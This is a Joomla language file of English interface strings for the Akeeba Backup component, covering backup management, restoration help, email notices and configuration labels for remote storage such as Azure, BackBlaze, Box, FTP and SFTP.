COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Delete Files"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Description"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Duration"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Frozen"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Frozen"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Frozen –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Unfrozen"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="How do I restore my backups?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>You can restore your backups on any server, even a different one than the one you took your backup on. Follow our <a href=\"%s\" target=\"_blank\">video tutorial</a>. You will need to <a href=\"%3$s\" target=\"_blank\">download Akeeba Kickstart Core (free of charge)</a> to extract the backup archives, just like the tutorial tells you to do.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>It <em>can</em> be easier than this.</strong>You can restore backup archives on the same or a different server from Akeeba Backup's interface. No need to transfer files yourself. Find out about these and many more features available exclusively in <a href=\"%s\">Akeeba Backup Professional</a>!"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>It's easy! Select the check box next to a backup entry. Now click on the <em>Restore</em> button in the toolbar.</p><p>If you want to restore to a new, public server you can use the <a href=\"%2$s\">Site Transfer Wizard</a>. If you'd rather do it manually or restore to your own computer or Intranet please watch our <a href=\"%1$s\" target=\"_blank\">video tutorial</a> and <a href=\"%3$s\" target=\"_blank\">download Akeeba Kickstart Core (free of charge)</a>  to extract the backup archives.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Manage &amp; Download"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(no description)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Origin"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Backend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Command-line"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Joomla Scheduled Tasks"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Joomla Scheduled Tasks (CLI–only)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Origin –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Part %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Profile"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Manage remotely stored files"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Restore"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Size"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Backup Start Time"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Backup End Time"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Status"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Finished"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Failed"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Obsolete"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="Pending"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Remote"
COM_AKEEBABACKUP_BUADMIN_LABEL_TRANSFER="Transfer"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Type"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Backup taken after"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Backup taken before"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="Is my backup archive still available on my server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="What's it called?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="What was it called?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Where can I find it on my server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Where was it on my server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Your backup consists of one file."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Your backup consists of %d files."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Backup Archive Information"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Your backup consists of %d part files. You <em>must</em> download all of them and put them in the same directory for the archive extraction and backup restoration to succeed."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Downloading through your browser may corrupt the files"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="We recommend closing this dialog and using FTP in <code>Binary</code> transfer mode or SFTP to download your backup archives."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="Log file ID"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Download"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Downloading backup archives through your browser is prone\nto failure, file corruption and file truncation due tor reasons\nobjectively outside our control (server configuration, site\nconfiguration, third party plugins and browser configuration).\n\nWe VERY STRONGLY recommend that you only ever\ndownload backup archives through FTP in Binary transfer\nmode (do not use Auto or ASCII; it will corrupt your backup\narchives) by using client software such as FileZilla,\n CyberDuck, WinSCP or similar; or by using the\nfile manager feature of your host‘s hosting control panel.\n\nIf you continue with this download you are explicitly agreeing\nthat you are waiving your right to support for any backup\narchive download, extraction or restoration issue and you\nunderstand that any such requests will not be replied to.\n\nAre you sure you want to continue?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="View / Edit backup comment"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="This log file is no longer available on your site"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="The changes to the backup entry have been saved successfully"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="The changes to the backup entry have not been saved"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="Backup entry and archive were deleted successfully"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="Backup archive was deleted successfully"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Record(s) correctly unfrozen"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="The new backup was taken with profile #%s. It consists of %s part(s). The full list of files of this backup set is the following:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Akeeba Backup has completed backing up your site using the front-end backup feature. You may visit the site's administrator section to download the backup."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="You have a new backup part"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Akeeba Backup has taken a new backup"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Operation not permitted"

COM_AKEEBABACKUP_CONFIG="Configuration"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Component Configuration Options</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Advanced configuration"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup will break the processing step after archiving a large file. When you enable this option, Akeeba Backup will work faster. However, this may result in timeout or Internal Server errors."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Disable step break after large files"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup will break the processing step whenever it starts working on a new domain. This improves the verbosity of the process, but it extends the backup time by 10-20 seconds. When you enable this option, Akeeba Backup will work faster. However, you might experience a jumpy behaviour in the steps reported on the backup page."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Disable step break between domains"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup will break the processing step before archiving a large file. When you enable this option, Akeeba Backup will work faster. However, this may result in timeout or Internal Server errors."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Disable step break before large files"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup will break the processing step if it thinks that it will run out of time before it archives a file. This calculation is not entirely accurate and may result in slower backups. When you enable this option, Akeeba Backup will work faster. However, this may result in timeout or Internal Server errors."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Disable proactive step breaking"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup will break the processing step between sub-steps of the backup finalisation and post-processing. This can add about 10 seconds to the overall backup time. When you enable this option, Akeeba Backup will work faster. However, this may result in timeout or Internal Server errors."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Disable step break in finalisation"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="If your server doesn't run PHP in Safe Mode and supports set_time_limit(), Akeeba Backup will attempt to set an infinite PHP maximum execution time to work around potential timeout issues"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Set an infinite PHP time limit"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Tells Akeeba Backup to try and increase PHP's memory limit to a ridiculously high value (16Gb). This allows you to compress larger files and upload larger backup archives using memory-heavy remote storage options such as WebDAV. Note: this only sets the limit for the maximum memory consumption. In most cases, Akeeba Backup's backup engine consumes <em>far less</em> memory than that, typically in the low 20Mb area. Compressing and uploading larger files also requires changing other options in the backup profile's Configuration page."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Set a large memory limit"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="You can optionally password-protect the Akeeba Backup Restoration Script, preventing unauthorised access to the installer. When you run the installer you will be asked to enter this password. Please note that the password is case sensitive, i.e. ABC, abc and Abc are three different passwords."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Restoration Script Password"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Send email to this address (leave blank to email all Super Users)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Email address"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Naming template for the backup archive, where applicable. You can use the following macros:<ul><li><strong>[HOST]</strong> The host name. WARNING! This tag doesn't work in CRON mode.</li><li><strong>[DATE]</strong> Current date</li><li><strong>[TIME_TZ]</strong> Current time and timezone</li></ul>More are available; please consult the documentation."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Backup archive name"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Defines Akeeba Backup's archive format. Some engines, such as the DirectFTP, do not actually produce archives, but take care of transferring your files to other servers."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Archiver engine"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="When this option is unchecked Akeeba Backup will halt the backup when the server responds with an error. When this option is enabled, Akeeba Backup will try to resume the backup by repeating the last step. This only applies to back-end backups. It will also not let you successfully resume all backups which result in an error: only backup attempts temporarily blocked by server CPU usage restrictions or network outage issues can be resumed."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="How many times should Akeeba Backup retry resuming the backup before finally giving up. 3 to 5 retries work best on most servers."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Maximum retries of a backup step after an AJAX error"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="How many seconds to wait before resuming the backup. It is advisable to set this to 30 seconds or more (120 seconds is recommended in most cases) to give your server the necessary time to unblock the backup process before Akeeba Backup retries to complete it."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Wait period before retrying the backup step"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Resume backup after an AJAX error has occurred"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="The name of your account. If your endpoint is foobar.blob.core.windows.net then your account name is <strong>foobar</strong> and you must type <em>foobar</em> in this box."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Account name"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="The Windows Azure BLOB Storage container to hold the backup archives. The container must already exist."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="The directory within the Windows Azure BLOB Storage container to store the backup archives. To store everything on the container's root, please leave blank."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="You can find your Primary Access Key at your account page on windows.azure.com. Copy and paste it here. It always has two equal signs at the end."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Primary Access Key"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Enter your BackBlaze application key ID. You can find this information in <a href='https://secure.backblaze.com/b2_buckets.htm'>your BackBlaze account page</a> after clicking on 'Show Account ID and Application Key'. If you are using your master key please enter your Account ID instead."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="Application Key ID"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Enter your BackBlaze application key. You can find this information in <a href='https://secure.backblaze.com/b2_buckets.htm'>your BackBlaze account page</a> after clicking on 'Show Account ID and Application Key'. <strong>WARNING</strong>! This is only shown to you ONCE by BackBlaze. To display it again you will have to regenerate the Application Key, causing ALL previously linked instances of Akeeba Backup to get unlinked until you enter there the <em>new</em> Application Key."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Application Key"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="Your Backblaze bucket name"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="The directory within your bucket where the backup archives will be stored. Leave blank to store files inside the bucket's root."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="When you enable this option Akeeba Backup will perform single part uploads to Backblaze. You will need to use a smaller Part Size for Split Archives setting in the Archiver Engine configuration to prevent the upload from timing out, causing the backup process to fail."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Disable multipart uploads"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Options instructing Akeeba Backup how to handle back-end scripting"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Back-end"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Should we translate the backup start time to the currently logged in user's timezone in the Manage Backups page? If set to No all backup start times appear in the GMT timezone. This option DOES NOT affect the [DATE] and [TIME] variables for backup file naming or the default description; Use the Backup timezone option to change how these variables work."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Local time in Manage Backups"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Should I give users restoring a site the option to delete everything before extracing an archive? This option only applies to the Professional version of our software. WARNING! THIS IS EXTREMELY DANGEROUS. READ THE DOCUMENTATION VERY CAREFULLY BEFORE ENABLING IT. IF YOU USE THIS FEATURE DURING RESTORATION YOU ARE WAIVING ANY RIGHT TO REQUEST SUPPORT AND ASSUME ALL RESPONSIBILITY AND LIABILITY."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Show the “Delete everything before extraction” option"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Time Zone"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="The timezone suffix to display next to the backup start time in the Manage Backups page.<br/>None: no suffix is displayed (not recommended).<br/>Time Zone: an abbreviated time zone, e.g. CEST for Central Europe Summer Time.<br/>GMT Offset: the offset from the GMT timezone, e.g. GMT+01:00 (= two hours ahead of GMT i.e. Central Europe Standard Time). Please note that during daylights savings GMT offset is +1 hour to the regular timezone. This offset difference WILL be shown in this format."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="GMT Offset"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Timezone suffix"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="None"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="All configured databases (archive file)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Main site database only (SQL file)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Which kind of site backup you want Akeeba Backup to perform"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Site files only"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Full site backup"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Files only, incremental"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Full site, incremental files"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Backup Type"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Lowering this value will conserve memory and avoid HTTP 500 errors while backing up huge tables"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Number of rows per batch"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Files over this size will be stored uncompressed, or their processing will span multiple steps (depending on the archiver engine) in order to avoid timeouts. We suggest increasing this value only on fast and reliable servers."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Big file threshold"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Removes the username and password of database connections from the backup"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Blank out username/password"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Enable chunk upload"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Chunk size"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="The directory within your Box account where the backup archives will be stored. Leave blank to store files inside the Box folder root."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Click on this button to open a new window where you can log in to your account with the storage provider. Then, please close the popup window and click on the Step 2 button below."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Authentication - Start here"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Filled in automatically when you complete the authentication Step 1 above. Do NOT share the same token on many sites. Instead, authenticate each site separately."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup processes large file in small chunks, in order to avoid timeouts. This parameter defines the maximum chunk size for this kind of processing."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Chunk size for large files processing"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="When this box is unchecked (default) and the backup step finishes in less time than the configured minimum execution time Akeeba Backup will have the server wait until that time is reached. This may cause some very restrictive servers to kill your backup. Checking this box will implement the waiting period on the browser, working around this limitation. IMPORTANT: This option only applies to back-end backups. Front-end, JSON API (remote) and Command-Line (CLI) backups always implement the wait at the server side."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Client-side implementation of minimum execution time"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Your CloudFiles API key"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="API Key"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="The CloudFiles container to hold the backup archives"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="The directory within the CloudFiles container to store the backup archives. To store everything on the container's root, please leave blank."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Your CloudFiles user name"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Username"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="The directory within your CloudMe account where the backup archives will be stored. Leave blank to store files inside the CloudMe folder root."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Password"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Username"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Username"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="When enabled, Akeeba Backup will erase old backup files if they are more than the limit defined below."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Enable count quota"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup will erase old backup files if they are more than the limit defined in this setting. Multi-part backups are considered as <em>one</em> file!<br/><br/><strong>Tip</strong>: Select Custom and type in your desired value if it's not on the list."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Count quota"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Change how the Start date/time of backups is displayed in the Manage Backups page. Leave blank to use the default formatting. You can use the formatting options of PHP's date function, see: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Date format"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="If enabled, the backup archive will be removed from this server as soon as post-processing finishes successfully."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Delete archive after processing"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="When enabled, symbolic links will be followed just like normal files and directories. When not checked, symbolic links will not be followed. If you are using symbolic links which lead to an infinite link loop, uncheck this option."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Dereference symlinks"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Should you be asked to allow desktop notifications to be displayed? Desktop notifications appear when the backups starts, finishes, throws a warning or halts. They are only displayed on compatible browsers (typically: Chrome, Safari, Firefox, Opera) if you give Akeeba Backup the permission to display desktop notifications when prompted in the Control Panel page. This option only controls whether this prompt should be displayed. Once you accept or decline the desktop notification messages permissions this setting has <strong>no effect</strong>. The only way to enable or disable desktop notifications will be through your browser's settings."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Ask for Desktop Notifications permissions"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="If enabled, Akeeba Backup will try to connect to your FTP server using an SSL-encrypted connection. <strong>This is not the same as SFTP, SCP or \"Secure FTP\"!</strong> Do note that if your server doesn't support this method you will get connection errors."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Use FTP over SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="FTP server's host name, without the protocol. This means that <code>ftp://example.com</code> is <strong>invalid</strong> and <code>example.com</code> is valid. Akeeba Backup only supports FTP and FTPS servers. It <u>does not</u> support SFTP, SCP and other SSH variants."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Host name"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="The absolute <strong>FTP</strong> path to the directory where the files will be uploaded. If unsure, connect to your server with FileZilla, browse to the intended directory and copy the path appearing on the right-hand pane above the directory list. It is usually something short, like <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Initial directory"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Use FTP passive mode when transferring data. This is enabled by default as it is the only method which works through firewalls commonly installed on web servers. Do not disable unless you are certain that your web server is not behind a firewall and that your FTP server absolutely requires Active mode file transfers."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Use passive mode"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="FTP server's password. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="FTP server's port. The most common setting is 21. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Use this button to test the FTP connection and view the connection errors on failure."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Could not connect to the remote FTP server."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="Connection to remote FTP server was established successfully!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Test FTP connection"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="FTP server's user name. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="User name"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Please enter the host name or IP address of your SFTP server"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Host name"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Please enter the directory where the files will be uploaded to. If unsure, use an SFTP desktop client, connect to your server, navigate to the desired directory and copy the path displayed in here. The path must be in absolute format, e.g. /users/myusername/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Initial directory"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="The SFTP password"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="The usual port for SFTP connections is 22. If your server is using a different port, please enter it here."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Use this button to test the SFTP connection and view the connection errors on failure."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Could not connect to the remote SFTP server. The error message was:"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Successfully connected to the remote SFTP server. Note: the initial directory setting was not tested."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Test SFTP connection"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="The SFTP username. Please note that your SFTP server must allow username/password authentication."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Username"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="Your DreamObjects Access Key, made available to you under the DreamHost control panel"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Access Key"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="Your DreamObjects bucket name. Make sure it's typed as shown in the DreamHost control panel"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="The directory within your bucket where the backup archives will be stored. Leave blank to store files inside the bucket's root."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="If enabled, Akeeba Backup will try to change the bucket name to all lowercase letters, i.e. MyBucket will be converted to mybucket. If you have created a bucket with uppercase letters, e.g. MyNewBucket, uncheck this option and make sure the bucket name is spelled exactly as it appears in your DreamHost control panel."
